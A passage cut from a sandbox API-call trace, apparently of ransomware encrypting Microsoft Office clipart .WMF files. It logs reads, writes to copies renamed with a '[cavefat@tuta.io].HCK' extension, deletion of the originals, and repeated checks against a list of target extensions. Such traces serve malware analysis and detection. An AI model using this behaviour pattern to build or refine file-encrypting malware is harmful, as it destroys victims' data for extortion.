[0178.222] GetLastError () returned 0x0 [0178.222] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x864, lpOverlapped=0x0) returned 1 [0178.223] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x870, lpOverlapped=0x0) returned 1 [0178.224] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.224] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.224] SetEndOfFile (hFile=0x368) returned 1 [0178.226] CloseHandle (hObject=0x368) returned 1 [0178.227] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.227] SetEndOfFile (hFile=0x3a4) returned 1 [0178.230] CloseHandle (hObject=0x3a4) returned 1 [0178.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf")) returned 1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".doc") returned 4 [0178.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString=".docx") returned 5 [0178.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.234] lstrlenW (lpString=".pdf") returned 4 [0178.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString=".xls") returned 4 [0178.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.234] lstrlenW (lpString=".xlsx") returned 5 [0178.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.234] lstrlenW (lpString=".ppt") returned 4 [0178.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".zip") returned 4 [0178.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.234] lstrlenW (lpString=".rar") returned 4 [0178.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString=".bz2") returned 4 [0178.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString=".7z") returned 3 [0178.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".dbf") returned 4 [0178.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".1cd") returned 4 [0178.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".jpg") returned 4 [0178.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.234] lstrlenW (lpString=".doc") returned 4 [0178.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.234] lstrlenW (lpString=".docx") returned 5 [0178.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.234] lstrlenW (lpString=".pdf") returned 4 [0178.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString=".xls") returned 4 [0178.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.235] lstrlenW (lpString=".xlsx") returned 5 [0178.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.235] lstrlenW (lpString=".ppt") returned 4 [0178.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.235] lstrlenW (lpString=".zip") returned 4 [0178.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.235] lstrlenW (lpString=".rar") returned 4 [0178.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString=".bz2") returned 4 [0178.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString=".7z") returned 3 [0178.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.235] lstrlenW (lpString=".dbf") returned 4 [0178.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.235] lstrlenW (lpString=".1cd") returned 4 [0178.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF") returned 68 [0178.235] lstrlenW (lpString=".jpg") returned 4 [0178.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.235] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.235] lstrlenW (lpString="NA00391_.WMF") returned 12 [0178.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.241] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8684) returned 1 [0178.241] CloseHandle (hObject=0x2fc) returned 1 [0178.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf")) returned 0x220 [0178.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.250] GetLastError () returned 0x0 [0178.250] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x21ec, lpOverlapped=0x0) returned 1 [0178.252] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x21f0, lpOverlapped=0x0) returned 1 [0178.253] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.253] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.253] SetEndOfFile (hFile=0x368) returned 1 [0178.253] CloseHandle (hObject=0x368) returned 1 [0178.254] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.254] SetEndOfFile (hFile=0x370) returned 1 [0178.257] CloseHandle (hObject=0x370) returned 1 [0178.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf")) returned 1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString=".doc") returned 4 [0178.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".docx") returned 5 [0178.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.261] lstrlenW (lpString=".pdf") returned 4 [0178.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".xls") returned 4 [0178.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.261] lstrlenW (lpString=".xlsx") returned 5 [0178.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.261] lstrlenW (lpString=".ppt") returned 4 [0178.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString=".zip") returned 4 [0178.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.261] lstrlenW (lpString=".rar") returned 4 [0178.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".bz2") returned 4 [0178.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".7z") returned 3 [0178.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString=".dbf") returned 4 [0178.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString=".1cd") returned 4 [0178.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString=".jpg") returned 4 [0178.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.262] lstrlenW (lpString=".doc") returned 4 [0178.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".docx") returned 5 [0178.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.262] lstrlenW (lpString=".pdf") returned 4 [0178.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".xls") returned 4 [0178.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.262] lstrlenW (lpString=".xlsx") returned 5 [0178.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.262] lstrlenW (lpString=".ppt") returned 4 [0178.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.262] lstrlenW (lpString=".zip") returned 4 [0178.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.262] lstrlenW (lpString=".rar") returned 4 [0178.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".bz2") returned 4 [0178.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".7z") returned 3 [0178.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.262] lstrlenW (lpString=".dbf") returned 4 [0178.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.262] lstrlenW (lpString=".1cd") returned 4 [0178.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 68 [0178.262] lstrlenW (lpString=".jpg") returned 4 [0178.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.262] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.262] lstrlenW (lpString="NA00417_.WMF") returned 12 [0178.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.266] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5950) returned 1 [0178.267] CloseHandle (hObject=0x370) returned 1 [0178.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf")) returned 0x220 [0178.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.272] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.272] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.278] GetLastError () returned 0x0 [0178.278] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x173e, lpOverlapped=0x0) returned 1 [0178.279] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1740, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1740, lpOverlapped=0x0) returned 1 [0178.280] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.280] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.280] SetEndOfFile (hFile=0x370) returned 1 [0178.281] CloseHandle (hObject=0x370) returned 1 [0178.282] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.282] SetEndOfFile (hFile=0x3a4) returned 1 [0178.285] CloseHandle (hObject=0x3a4) returned 1 [0178.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00417_.wmf")) returned 1 [0178.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.290] lstrlenW (lpString=".doc") returned 4 [0178.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.290] lstrlenW (lpString=".docx") returned 5 [0178.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.290] lstrlenW (lpString=".pdf") returned 4 [0178.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.290] lstrlenW (lpString=".xls") returned 4 [0178.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.290] lstrlenW (lpString=".xlsx") returned 5 [0178.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.290] lstrlenW (lpString=".ppt") returned 4 [0178.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.290] lstrlenW (lpString=".zip") returned 4 [0178.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.291] lstrlenW (lpString=".rar") returned 4 [0178.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".bz2") returned 4 [0178.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".7z") returned 3 [0178.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".dbf") returned 4 [0178.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".1cd") returned 4 [0178.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".jpg") returned 4 [0178.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".doc") returned 4 [0178.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".docx") returned 5 [0178.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.291] lstrlenW (lpString=".pdf") returned 4 [0178.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".xls") returned 4 [0178.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.291] lstrlenW (lpString=".xlsx") returned 5 [0178.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.291] lstrlenW (lpString=".ppt") returned 4 [0178.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".zip") returned 4 [0178.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.291] lstrlenW (lpString=".rar") returned 4 [0178.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".bz2") returned 4 [0178.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString=".7z") returned 3 [0178.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".dbf") returned 4 [0178.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.291] lstrlenW (lpString=".1cd") returned 4 [0178.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00417_.WMF") returned 68 [0178.292] lstrlenW (lpString=".jpg") returned 4 [0178.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.292] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.292] lstrlenW (lpString="NA00458_.WMF") returned 12 [0178.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.295] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10148) returned 1 [0178.295] CloseHandle (hObject=0x370) returned 1 [0178.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf")) returned 0x220 [0178.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.299] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.302] GetLastError () returned 0x0 [0178.302] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x27a4, lpOverlapped=0x0) returned 1 [0178.305] WriteFile (in: hFile=0x2fc, 